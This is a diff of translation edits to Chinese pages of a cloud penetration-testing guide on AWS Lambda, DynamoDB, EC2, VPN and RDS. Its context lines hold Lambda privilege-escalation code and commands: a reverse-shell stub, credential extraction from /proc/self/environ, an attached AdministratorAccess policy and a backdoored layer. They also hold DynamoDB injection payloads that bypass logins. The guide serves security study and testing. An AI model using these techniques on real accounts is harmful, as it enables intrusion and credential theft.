||||
具有 **`iam:PassRole`, `lambda:CreateFunction` 和 `lambda:InvokeFunction`** 权限的用户可以提升他们的权限。\
|
||||
他们可以 **创建一个新的 Lambda 函数并为其分配一个现有的 IAM 角色**,从而授予该函数与该角色相关联的权限。用户可以 **向此 Lambda 函数编写和上传代码(例如带有 rev shell 的代码)**。\
|
||||
一旦函数设置完成,用户可以 **通过 AWS API 触发其执行** 和预期的操作。这种方法有效地允许用户通过 Lambda 函数间接执行任务,操作时使用与其关联的 IAM 角色授予的访问级别。\\
|
||||
拥有**`iam:PassRole`, `lambda:CreateFunction`和`lambda:InvokeFunction`**权限的用户可以提升他们的权限。\
|
||||
他们可以**创建一个新的Lambda函数并为其分配一个现有的IAM角色**,从而授予该函数与该角色相关的权限。然后,用户可以**向此Lambda函数编写和上传代码(例如,带有反向Shell)**。\
|
||||
一旦函数设置完成,用户可以**通过AWS API触发其执行**和预期的操作。这种方法有效地允许用户通过Lambda函数间接执行任务,操作时使用与其关联的IAM角色授予的访问级别。\\
|
||||
|
||||
攻击者可以利用这一点获取 **rev shell 并窃取令牌**:
|
||||
攻击者可以利用这一点获取**反向Shell并窃取令牌**:
|
||||
```python:rev.py
|
||||
import socket,subprocess,os,time
|
||||
def lambda_handler(event, context):
|
||||
@@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt
|
||||
# List roles
|
||||
aws iam list-attached-user-policies --user-name <user-name>
|
||||
```
|
||||
您还可以**滥用lambda角色权限**来自lambda函数本身。\
|
||||
如果lambda角色具有足够的权限,您可以使用它授予您管理员权限:
|
||||
您还可以**滥用 lambda 角色权限**来自 lambda 函数本身。\
|
||||
如果 lambda 角色具有足够的权限,您可以使用它授予您管理员权限:
|
||||
```python
|
||||
import boto3
|
||||
def lambda_handler(event, context):
|
||||
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
|
||||
)
|
||||
return response
|
||||
```
|
||||
也可以在不需要外部连接的情况下泄露lambda的角色凭证。这对于用于内部任务的**网络隔离的Lambdas**非常有用。如果有未知的安全组过滤您的反向shell,这段代码将允许您直接泄露凭证作为lambda的输出。
|
||||
也可以在不需要外部连接的情况下泄露lambda的角色凭证。这对于用于内部任务的**网络隔离的Lambdas**非常有用。如果有未知的安全组过滤你的反向shell,这段代码将允许你直接泄露凭证作为lambda的输出。
|
||||
```python
|
||||
def handler(event, context):
|
||||
sessiontoken = open('/proc/self/environ', "r").read()
|
||||
@@ -72,14 +72,14 @@ return {
|
||||
aws lambda invoke --function-name <lambda_name> output.txt
|
||||
cat output.txt
|
||||
```
|
||||
**潜在影响:** 直接提升到指定的任意 lambda 服务角色。
|
||||
**潜在影响:** 直接提升权限到指定的任意 lambda 服务角色。
|
||||
|
||||
> [!CAUTION]
|
||||
> 请注意,即使看起来很有趣,**`lambda:InvokeAsync`** **并不**允许单独**执行 `aws lambda invoke-async`**,您还需要 `lambda:InvokeFunction`
|
||||
> 请注意,即使看起来很有趣,**`lambda:InvokeAsync`** **并不**允许单独**执行 `aws lambda invoke-async`**,你还需要 `lambda:InvokeFunction`
|
||||
|
||||
### `iam:PassRole`,`lambda:CreateFunction`,`lambda:AddPermission`
|
||||
|
||||
与之前的场景一样,如果您拥有权限 **`lambda:AddPermission`**,您可以**授予自己 `lambda:InvokeFunction`** 权限。
|
||||
与之前的场景一样,如果你拥有权限 **`lambda:AddPermission`**,你可以**授予自己 `lambda:InvokeFunction`** 权限。
|
||||
```bash
|
||||
# Check the previous exploit and use the following line to grant you the invoke permissions
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
|
||||
@@ -89,10 +89,10 @@ aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
|
||||
|
||||
拥有 **`iam:PassRole`, `lambda:CreateFunction`, 和 `lambda:CreateEventSourceMapping`** 权限的用户(可能还包括 `dynamodb:PutItem` 和 `dynamodb:CreateTable`)可以间接 **提升权限**,即使没有 `lambda:InvokeFunction`。\
|
||||
具有 **`iam:PassRole`, `lambda:CreateFunction` 和 `lambda:CreateEventSourceMapping`** 权限的用户(可能还包括 `dynamodb:PutItem` 和 `dynamodb:CreateTable`)可以间接 **提升权限**,即使没有 `lambda:InvokeFunction`。\
|
||||
他们可以创建一个 **带有恶意代码的 Lambda 函数并将其分配给现有的 IAM 角色**。
|
||||
|
||||
用户不是直接调用 Lambda,而是设置或利用现有的 DynamoDB 表,通过事件源映射将其链接到 Lambda。此设置确保在表中有新项条目时,Lambda 函数会 **自动触发**,无论是通过用户的操作还是其他进程,从而间接调用 Lambda 函数并以传递的 IAM 角色的权限执行代码。
|
||||
用户不是直接调用 Lambda,而是设置或利用现有的 DynamoDB 表,通过事件源映射将其链接到 Lambda。此设置确保在表中新增项时,Lambda 函数会 **自动触发**,无论是通过用户的操作还是其他进程,从而间接调用 Lambda 函数并以传递的 IAM 角色的权限执行代码。
|
||||
```bash
|
||||
aws lambda create-function --function-name my_function \
|
||||
--runtime python3.8 --role <arn_of_lambda_role> \
|
||||
@@ -130,7 +130,7 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
|
||||
# Invoke the function
|
||||
aws lambda invoke --function-name <func_name> /tmp/outout
|
||||
```
|
||||
**潜在影响:** 直接提升权限到 lambda 服务角色,通过授予修改代码和运行代码的权限。
|
||||
**潜在影响:** 直接提升权限到通过授予修改代码和运行代码的权限的 lambda 服务角色。
|
||||
|
||||
### `lambda:AddLayerVersionPermission`
|
||||
|
||||
@@ -170,12 +170,12 @@ aws --profile none-priv lambda update-function-configuration --function-name <fu
|
||||
对于其他脚本语言,还有其他环境变量可以使用。有关更多信息,请查看以下链接中脚本语言的子部分:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse
|
||||
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
|
||||
{{#endref}}
|
||||
|
||||
#### 通过 Lambda Layers 进行 RCE
|
||||
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) 允许在您的 lambda 函数中包含 **代码**,但 **单独存储**,这样函数代码可以保持小巧,并且 **多个函数可以共享代码**。
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) 允许在您的 lamdba 函数中包含 **代码**,但 **单独存储**,这样函数代码可以保持小巧,并且 **多个函数可以共享代码**。
|
||||
|
||||
在 lambda 内部,您可以使用以下函数检查加载 python 代码的路径:
|
||||
```python
|
||||
@@ -202,7 +202,7 @@ print(json.dumps(sys.path, indent=2))
|
||||
|
||||
#### 利用
|
||||
|
||||
可以滥用权限 `lambda:UpdateFunctionConfiguration` 来 **添加一个新层** 到 lambda 函数。要执行任意代码,这个层需要包含一些 **lambda 将要导入的库。** 如果你能读取 lambda 的代码,你可以很容易找到这一点,还要注意,lambda **可能已经在使用一个层**,你可以 **下载** 这个层并 **在其中添加你的代码**。
|
||||
可以滥用权限 `lambda:UpdateFunctionConfiguration` 来 **添加一个新层** 到一个 lambda 函数。为了执行任意代码,这个层需要包含一些 **lambda 将要导入的库。** 如果你能读取 lambda 的代码,你可以很容易找到这一点,还要注意,lambda **可能已经在使用一个层**,你可以 **下载** 这个层并 **在其中添加你的代码**。
|
||||
|
||||
例如,假设 lambda 正在使用库 boto3,这将创建一个包含库最新版本的本地层:
|
||||
```bash
|
||||
@@ -210,7 +210,7 @@ pip3 install -t ./lambda_layer boto3
|
||||
```
|
||||
您可以打开 `./lambda_layer/boto3/__init__.py` 并 **在全局代码中添加后门**(例如,一个用于提取凭据或获取反向 shell 的函数)。
|
||||
|
||||
然后,将 `./lambda_layer` 目录压缩并 **在您自己的账户中上传新的 lambda 层**(或在受害者的账户中,但您可能没有权限这样做)。\
|
||||
然后,将 `./lambda_layer` 目录压缩并 **在您自己的账户中上传新的 lambda 层**(或者在受害者的账户中,但您可能没有权限这样做)。\
|
||||
请注意,您需要创建一个 python 文件夹并将库放在其中以覆盖 /opt/python/boto3。此外,层需要与 lambda 使用的 **python 版本兼容**,如果您将其上传到您的账户,它需要位于 **同一区域:**
|
||||
```bash
|
||||
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
|
||||
@@ -228,23 +228,23 @@ aws lambda update-function-configuration \
|
||||
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
|
||||
--timeout 300 #5min for rev shells
|
||||
```
|
||||
下一步要么是**自己调用函数**,如果可以的话,要么等待它被正常方式**调用**——这是更安全的方法。
|
||||
下一步要么是**自己调用函数**,如果可以的话,要么是等待它被正常方式**调用**——这是更安全的方法。
|
||||
|
||||
**更隐蔽的利用此漏洞的方法**可以在以下内容中找到:
|
||||
**利用此漏洞的更隐蔽方式**可以在以下内容中找到:
|
||||
|
||||
{{#ref}}
|
||||
../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
**潜在影响:** 直接提升到使用的lambda服务角色。
|
||||
**潜在影响:** 直接提升到使用的 lambda 服务角色。
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
|
||||
|
||||
也许凭借这些权限,你能够创建一个函数并通过调用URL来执行它……但我找不到测试的方法,所以如果你找到了,请告诉我!
|
||||
也许凭借这些权限,你能够创建一个函数并通过调用 URL 执行它……但我找不到测试的方法,所以如果你找到,请告诉我!
|
||||
|
||||
### Lambda MitM
|
||||
|
||||
一些lambda将会**接收用户在参数中发送的敏感信息。** 如果在其中一个中获得RCE,你可以提取其他用户发送给它的信息,查看:
|
||||
一些 lambda 将会**接收用户在参数中发送的敏感信息。** 如果在其中一个中获得 RCE,你可以提取其他用户发送给它的信息,查看:
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## DocumentDB
|
||||
|
||||
Amazon DocumentDB,提供与MongoDB的兼容性,被呈现为一个**快速、可靠且完全托管的数据库服务**。旨在简化部署、操作和可扩展性,它允许**在云中无缝迁移和操作与MongoDB兼容的数据库**。用户可以利用此服务执行他们现有的应用程序代码,并使用熟悉的驱动程序和工具,确保平滑过渡和操作,类似于使用MongoDB。
|
||||
Amazon DocumentDB,提供与MongoDB的兼容性,被呈现为一个**快速、可靠且完全托管的数据库服务**。旨在简化部署、操作和扩展,它允许**在云中无缝迁移和操作与MongoDB兼容的数据库**。用户可以利用此服务执行他们现有的应用程序代码,并使用熟悉的驱动程序和工具,确保平滑过渡和操作,类似于使用MongoDB。
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
@@ -24,7 +24,7 @@ aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attribute
|
||||
由于 DocumentDB 是一个与 MongoDB 兼容的数据库,您可以想象它也容易受到常见的 NoSQL 注入攻击:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/nosql-injection
|
||||
https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
|
||||
{{#endref}}
|
||||
|
||||
### DocumentDB
|
||||
|
||||
@@ -6,13 +6,13 @@
|
||||
|
||||
### 基本信息
|
||||
|
||||
Amazon DynamoDB 被 AWS 提供为一个 **完全托管的无服务器键值 NoSQL 数据库**,旨在为各种规模的高性能应用提供支持。该服务确保了强大的功能,包括固有的安全措施、不间断的备份、跨多个区域的自动复制、集成的内存缓存以及方便的数据导出工具。
|
||||
Amazon DynamoDB 被 AWS 提供为一个 **完全托管的无服务器键值 NoSQL 数据库**,旨在支持高性能应用程序,无论其规模如何。该服务确保了强大的功能,包括固有的安全措施、不间断的备份、跨多个区域的自动复制、集成的内存缓存和便捷的数据导出工具。
|
||||
|
||||
在 DynamoDB 的上下文中,**创建的是表**,而不是建立传统数据库。每个表都要求指定一个 **分区键**,作为 **表主键** 的一个组成部分。这个分区键,实质上是一个 **哈希值**,在项目检索和数据在不同主机之间的分配中起着关键作用。这种分配对于维护数据库的可扩展性和可用性至关重要。此外,还可以选择添加 **排序键** 以进一步优化数据组织。
|
||||
在 DynamoDB 的上下文中,**创建的是表**,而不是建立传统数据库。每个表都要求指定一个 **分区键**,作为 **表主键** 的一个组成部分。这个分区键,实质上是一个 **哈希值**,在项目检索和数据在不同主机之间的分配中起着关键作用。这种分配对于维护数据库的可扩展性和可用性至关重要。此外,还可以选择添加 **排序键** 以进一步细化数据组织。
|
||||
|
||||
### 加密
|
||||
|
||||
默认情况下,DynamoDB 使用一个 **属于 Amazon DynamoDB 的 KMS 密钥,**而不是至少属于您账户的 AWS 管理密钥。
|
||||
默认情况下,DynamoDB 使用一个 **属于 Amazon DynamoDB 的 KMS 密钥,** 甚至不是至少属于您账户的 AWS 管理密钥。
|
||||
|
||||
<figure><img src="https://lh4.googleusercontent.com/JjtNS7aA-_GRMgZb4v93jWEQJi6DQdUPq0FEpzZPdeyCeNoG05p0NJiV9Zs-ULs_-Tfjmx0W1ZgsE2Ui2ljo7D-1a87Xny-gpLVQO0XmXdFoph9ci1RepbVNwaCe9oPruEZSEDxGTxF5dIv6pW1WpT6kWA=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -24,7 +24,7 @@ Amazon DynamoDB 被 AWS 提供为一个 **完全托管的无服务器键值 NoSQ
|
||||
|
||||
### GUI
|
||||
|
||||
有一些本地 Dynamo 服务的 GUI,如 [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/)、[dynalite](https://github.com/mhart/dynalite)、[localstack](https://github.com/localstack/localstack) 等,可能会很有用:[https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin)
|
||||
有一个用于本地 Dynamo 服务的 GUI,如 [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/)、[dynalite](https://github.com/mhart/dynalite)、[localstack](https://github.com/localstack/localstack) 等,这些可能会很有用:[https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin)
|
||||
|
||||
### 枚举
|
||||
```bash
|
||||
@@ -65,7 +65,7 @@ aws dynamodb describe-endpoints #Dynamodb endpoints
|
||||
../aws-privilege-escalation/aws-dynamodb-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### 利用后期
|
||||
### 后期利用
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-dynamodb-post-exploitation.md
|
||||
@@ -84,7 +84,7 @@ aws dynamodb describe-endpoints #Dynamodb endpoints
|
||||
有方法可以使用 **SQL 语法** 访问 DynamoDB 数据,因此,典型的 **SQL 注入也是可能的**。
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/sql-injection
|
||||
https://book.hacktricks.wiki/en/pentesting-web/sql-injection/index.html
|
||||
{{#endref}}
|
||||
|
||||
### NoSQL 注入
|
||||
@@ -95,7 +95,7 @@ https://book.hacktricks.xyz/pentesting-web/sql-injection
|
||||
请注意,如果通过 **`query`** 或 **`scan`** 访问数据,支持 **不同的条件**。
|
||||
|
||||
> [!NOTE]
|
||||
> 实际上,**Query** 操作需要在 **主** 键中指定 **条件 "EQ"(等于)** 才能工作,这使得它 **更不容易受到 NoSQL 注入**(并且还使操作非常有限)。
|
||||
> 实际上,**Query** 操作需要在 **主** 键中指定 **条件 "EQ"(等于)** 才能工作,这使其 **更不容易受到 NoSQL 注入**(并且还使操作非常有限)。
|
||||
|
||||
如果您可以 **更改比较** 或添加新的比较,您可以检索更多数据。
|
||||
```bash
|
||||
@@ -105,13 +105,13 @@ https://book.hacktricks.xyz/pentesting-web/sql-injection
|
||||
"GT": " " #All strings are greater than a space
|
||||
```
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/nosql-injection
|
||||
https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
|
||||
{{#endref}}
|
||||
|
||||
### 原始 Json 注入
|
||||
|
||||
> [!CAUTION]
|
||||
> **此漏洞基于已弃用的 dynamodb Scan Filter!**
|
||||
> **此漏洞基于已弃用的 dynamodb 扫描过滤器!**
|
||||
|
||||
**DynamoDB** 接受 **Json** 对象以 **搜索** 数据。如果您发现可以在发送的 json 对象中进行写入,您可以使数据库转储所有内容。
|
||||
|
||||
@@ -123,9 +123,9 @@ https://book.hacktricks.xyz/pentesting-web/nosql-injection
|
||||
|
||||
`1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0`
|
||||
|
||||
修复“EQ”条件,搜索 ID 1000,然后查找所有 Id 字符串大于 0 的数据,即所有数据。
|
||||
修复“EQ”条件,搜索 ID 1000,然后查找所有 Id 字符串大于 0 的数据,这就是全部。
|
||||
|
||||
另一个 **使用登录的脆弱示例** 可能是:
|
||||
另一个 **使用登录的脆弱示例** 可以是:
|
||||
```python
|
||||
scan_filter = """{
|
||||
"username": {
|
||||
@@ -152,7 +152,7 @@ password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
|
||||
```java
|
||||
new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)
|
||||
```
|
||||
您需要知道,在DynamoDB中搜索以**替换**属性**值**的**过滤表达式**时,扫描项目时,令牌应**以**`:`**字符开头。这些令牌将在运行时**替换**为实际的**属性值**。
|
||||
您需要知道,在DynamoDB中搜索以**替换**属性**值**的**过滤表达式**时,令牌应以**`:`**字符**开始**。这些令牌将在运行时**替换**为实际的**属性值**。
|
||||
|
||||
因此,像之前的登录可以通过以下方式绕过:
|
||||
```bash
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## VPC & Networking
|
||||
|
||||
了解 VPC 及其组件:
|
||||
了解什么是 VPC 及其组件:
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-and-networking-basic-information.md
|
||||
@@ -12,7 +12,7 @@ aws-vpc-and-networking-basic-information.md
|
||||
|
||||
## EC2
|
||||
|
||||
Amazon EC2 用于启动 **虚拟服务器**。它允许配置 **安全性** 和 **网络**,以及管理 **存储**。Amazon EC2 的灵活性体现在其能够向上和向下扩展资源,有效适应变化的需求或流行度的激增。此功能减少了对精确流量预测的必要性。
|
||||
Amazon EC2 用于启动 **虚拟服务器**。它允许配置 **安全性** 和 **网络** 以及管理 **存储**。Amazon EC2 的灵活性体现在其能够向上和向下扩展资源,有效适应变化的需求或流行度的激增。此功能减少了对精确流量预测的必要性。
|
||||
|
||||
在 EC2 中有趣的枚举内容:
|
||||
|
||||
@@ -21,24 +21,23 @@ Amazon EC2 用于启动 **虚拟服务器**。它允许配置 **安全性** 和
|
||||
- 用户数据
|
||||
- 现有的 EC2/AMI/快照
|
||||
- 网络
|
||||
- 网络
|
||||
- 子网络
|
||||
- 子网
|
||||
- 公共 IP
|
||||
- 开放端口
|
||||
- 与 AWS 之外其他网络的集成连接
|
||||
- 与 AWS 之外的其他网络的集成连接
|
||||
|
||||
### 实例配置文件
|
||||
|
||||
使用 **角色** 授予在 **EC2 实例** 上运行的应用程序权限需要一些额外的配置。在 EC2 实例上运行的应用程序通过虚拟化操作系统与 AWS 隔离。因此,您需要额外的步骤将 AWS 角色及其相关权限分配给 EC2 实例,并使其对应用程序可用。
|
||||
使用 **角色** 授予在 **EC2 实例** 上运行的应用程序权限需要一些额外的配置。在 EC2 实例上运行的应用程序通过虚拟化操作系统与 AWS 隔离。由于这种额外的分离,您需要额外的步骤将 AWS 角色及其相关权限分配给 EC2 实例,并使其对应用程序可用。
|
||||
|
||||
这一步骤是 **创建一个** [_**实例配置文件**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) 附加到实例。**实例配置文件包含角色,并且**可以向在实例上运行的应用程序提供角色的临时凭证。这些临时凭证可以在应用程序的 API 调用中使用,以访问资源并限制访问仅限于角色指定的那些资源。请注意,**一次只能将一个角色分配给 EC2 实例**,并且实例上的所有应用程序共享相同的角色和权限。
|
||||
这一步骤是 **创建一个** [_**实例配置文件**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html),并将其附加到实例上。**实例配置文件包含角色,并且**可以向在实例上运行的应用程序提供角色的临时凭证。这些临时凭证可以在应用程序的 API 调用中使用,以访问资源并限制访问仅限于角色指定的那些资源。请注意,**一次只能将一个角色分配给 EC2 实例**,并且实例上的所有应用程序共享相同的角色和权限。
|
||||
|
||||
### 元数据端点
|
||||
|
||||
AWS EC2 元数据是关于 Amazon Elastic Compute Cloud (EC2) 实例的信息,在运行时可供实例使用。这些元数据用于提供有关实例的信息,例如其实例 ID、它运行的可用区、与实例关联的 IAM 角色以及实例的主机名。
|
||||
AWS EC2 元数据是关于 Amazon Elastic Compute Cloud (EC2) 实例的信息,在运行时可供实例使用。这些元数据用于提供有关实例的信息,例如其实例 ID、运行所在的可用区、与实例关联的 IAM 角色以及实例的主机名。
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
### 枚举
|
||||
@@ -171,7 +170,7 @@ aws ec2 describe-vpc-peering-connections
|
||||
|
||||
**SSM代理**使系统管理器能够更新、管理和配置这些资源。代理**处理来自AWS云中系统管理器服务的请求**,然后按请求中指定的方式运行它们。
|
||||
|
||||
**SSM代理**[**在某些AMI中预安装**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html),或者您需要[**手动安装它们**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html)在实例上。此外,实例内使用的IAM角色需要附加**AmazonEC2RoleforSSM**策略才能进行通信。
|
||||
**SSM代理**[**在某些AMI中预安装**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html),或者您需要在实例上[**手动安装它们**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html)。此外,实例内使用的IAM角色需要附加**AmazonEC2RoleforSSM**策略才能进行通信。
|
||||
|
||||
### 枚举
|
||||
```bash
|
||||
@@ -186,7 +185,7 @@ aws ssm describe-instance-associations-status --instance-id <id>
|
||||
```bash
|
||||
ps aux | grep amazon-ssm
|
||||
```
|
||||
### Privesc
|
||||
### 提权
|
||||
|
||||
在以下页面中,您可以查看如何**滥用SSM权限以提升权限**:
|
||||
|
||||
@@ -198,7 +197,7 @@ ps aux | grep amazon-ssm
|
||||
|
||||
**弹性负载均衡**(ELB)是**亚马逊网络服务**(AWS)部署的**负载均衡服务**。ELB自动**分配传入的应用程序流量**并根据流量需求扩展资源。
|
||||
|
||||
### Enumeration
|
||||
### 枚举
|
||||
```bash
|
||||
# List internet-facing ELBs
|
||||
aws elb describe-load-balancers
|
||||
@@ -243,12 +242,12 @@ VPN 允许将您的 **本地网络(站点到站点 VPN)** 或 **工作人员
|
||||
#### 基本 AWS VPN 组件
|
||||
|
||||
1. **客户网关**:
|
||||
- 客户网关是您在 AWS 中创建的资源,代表您一侧的 VPN 连接。
|
||||
- 它本质上是您一侧站点到站点 VPN 连接的物理设备或软件应用程序。
|
||||
- 客户网关是您在 AWS 中创建的资源,用于表示您一侧的 VPN 连接。
|
||||
- 它本质上是您一侧站点到站点 VPN 连接上的物理设备或软件应用程序。
|
||||
- 您向 AWS 提供路由信息和网络设备(如路由器或防火墙)的公共 IP 地址,以创建客户网关。
|
||||
- 它作为设置 VPN 连接的参考点,不会产生额外费用。
|
||||
2. **虚拟私有网关**:
|
||||
- 虚拟私有网关(VPG)是亚马逊一侧站点到站点 VPN 连接的 VPN 集中器。
|
||||
- 虚拟私有网关(VPG)是站点到站点 VPN 连接的亚马逊侧的 VPN 集中器。
|
||||
- 它附加到您的 VPC,并作为您的 VPN 连接的目标。
|
||||
- VPG 是 VPN 连接的 AWS 侧端点。
|
||||
- 它处理您的 VPC 和本地网络之间的安全通信。
|
||||
@@ -256,7 +255,7 @@ VPN 允许将您的 **本地网络(站点到站点 VPN)** 或 **工作人员
|
||||
- 站点到站点 VPN 连接通过安全的 IPsec VPN 隧道将您的本地网络连接到 VPC。
|
||||
- 这种类型的连接需要客户网关和虚拟私有网关。
|
||||
- 它用于您的数据中心或网络与 AWS 环境之间的安全、稳定和一致的通信。
|
||||
- 通常用于常规、长期连接,并根据通过连接传输的数据量计费。
|
||||
- 通常用于常规的长期连接,并根据通过连接传输的数据量计费。
|
||||
4. **客户端 VPN 端点**:
|
||||
- 客户端 VPN 端点是您在 AWS 中创建的资源,用于启用和管理客户端 VPN 会话。
|
||||
- 它用于允许单个设备(如笔记本电脑、智能手机等)安全地连接到 AWS 资源或您的本地网络。
|
||||
@@ -265,7 +264,7 @@ VPN 允许将您的 **本地网络(站点到站点 VPN)** 或 **工作人员
|
||||
|
||||
您可以 [**在这里找到有关 AWS VPN 的好处和组件的更多信息**](aws-vpc-and-networking-basic-information.md#vpn)。
|
||||
|
||||
### 枚举
|
||||
### Enumeration
|
||||
```bash
|
||||
# VPN endpoints
|
||||
## Check used subnetwork, authentication, SGs, connected...
|
||||
@@ -293,7 +292,7 @@ aws ec2 describe-vpn-connections
|
||||
|
||||
**本地临时凭证**
|
||||
|
||||
当使用 AWS VPN 客户端连接到 VPN 时,用户通常会 **登录到 AWS** 以获取对 VPN 的访问权限。然后,一些 **AWS 凭证被创建并存储** 在本地以建立 VPN 连接。这些凭证 **存储在** `$HOME/.config/AWSVPNClient/TemporaryCredentials/<region>/temporary-credentials.txt` 中,包含 **AccessKey**、**SecretKey** 和 **Token**。
|
||||
当使用 AWS VPN 客户端连接到 VPN 时,用户通常会 **登录 AWS** 以获取对 VPN 的访问权限。然后,一些 **AWS 凭证被创建并存储** 在本地以建立 VPN 连接。这些凭证 **存储在** `$HOME/.config/AWSVPNClient/TemporaryCredentials/<region>/temporary-credentials.txt` 中,包含 **AccessKey**、**SecretKey** 和 **Token**。
|
||||
|
||||
这些凭证属于用户 `arn:aws:sts::<acc-id>:assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: 进一步研究这些凭证的权限)。
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# AWS - 关系数据库 (RDS) 枚举
|
||||
# AWS - Relational Database (RDS) Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,7 +10,7 @@ AWS RDS 支持多种广泛使用的关系数据库引擎,包括 MySQL、Postgr
|
||||
|
||||
RDS 的主要特点包括:
|
||||
|
||||
- **数据库实例管理** 简化。
|
||||
- **数据库实例的管理** 简化。
|
||||
- 创建 **只读副本** 以增强读取性能。
|
||||
- 配置 **多可用区 (AZ) 部署** 以确保高可用性和故障转移机制。
|
||||
- 与其他 AWS 服务的 **集成**,例如:
|
||||
@@ -30,7 +30,7 @@ RDS 的主要特点包括:
|
||||
|
||||
### 认证
|
||||
|
||||
有 3 种认证选项,但始终允许使用 **主密码**:
|
||||
有 3 种类型的认证选项,但始终允许使用 **主密码**:
|
||||
|
||||
<figure><img src="../../../images/image (227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -62,7 +62,7 @@ RDS 的主要特点包括:
|
||||
- 但是,重要的是要注意,选项组仅适用于特定的数据库引擎和版本。
|
||||
2. **在选项组中包含 TDE**:
|
||||
- 一旦与选项组关联,Oracle 透明数据加密选项需要包含在该组中。
|
||||
- 需要认识到,一旦将 TDE 选项添加到选项组,它将成为永久性固定项,无法移除。
|
||||
- 需要认识到,一旦将 TDE 选项添加到选项组,它就成为永久性固定项,无法移除。
|
||||
3. **TDE 加密模式**:
|
||||
- TDE 提供两种不同的加密模式:
|
||||
- **TDE 表空间加密**:此模式加密整个表,提供更广泛的数据保护范围。
|
||||
@@ -134,7 +134,7 @@ aws rds modify-db-instance --db-instance-identifier <ID> --master-user-password
|
||||
有方法可以使用 **SQL 语法** 访问 DynamoDB 数据,因此,典型的 **SQL 注入也是可能的**。
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/sql-injection
|
||||
https://book.hacktricks.wiki/en/pentesting-web/sql-injection/index.html
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## **CloudTrail**
|
||||
|
||||
AWS CloudTrail **记录和监控您 AWS 环境中的活动**。它捕获详细的 **事件日志**,包括谁在何时、从何处进行了什么操作,针对所有与 AWS 资源的交互。这提供了更改和操作的审计跟踪,有助于安全分析、合规审计和资源更改跟踪。CloudTrail 对于理解用户和资源行为、增强安全态势以及确保合规性至关重要。
|
||||
AWS CloudTrail **记录和监控您 AWS 环境中的活动**。它捕获详细的 **事件日志**,包括谁在何时、从何处进行了什么操作,针对所有与 AWS 资源的交互。这提供了更改和操作的审计跟踪,有助于安全分析、合规审计和资源变更跟踪。CloudTrail 对于理解用户和资源行为、增强安全态势以及确保合规性至关重要。
|
||||
|
||||
每个记录的事件包含:
|
||||
|
||||
@@ -19,12 +19,12 @@ AWS CloudTrail **记录和监控您 AWS 环境中的活动**。它捕获详细
|
||||
- 请求参数: `requestParameters`
|
||||
- 响应元素: `responseElements`
|
||||
|
||||
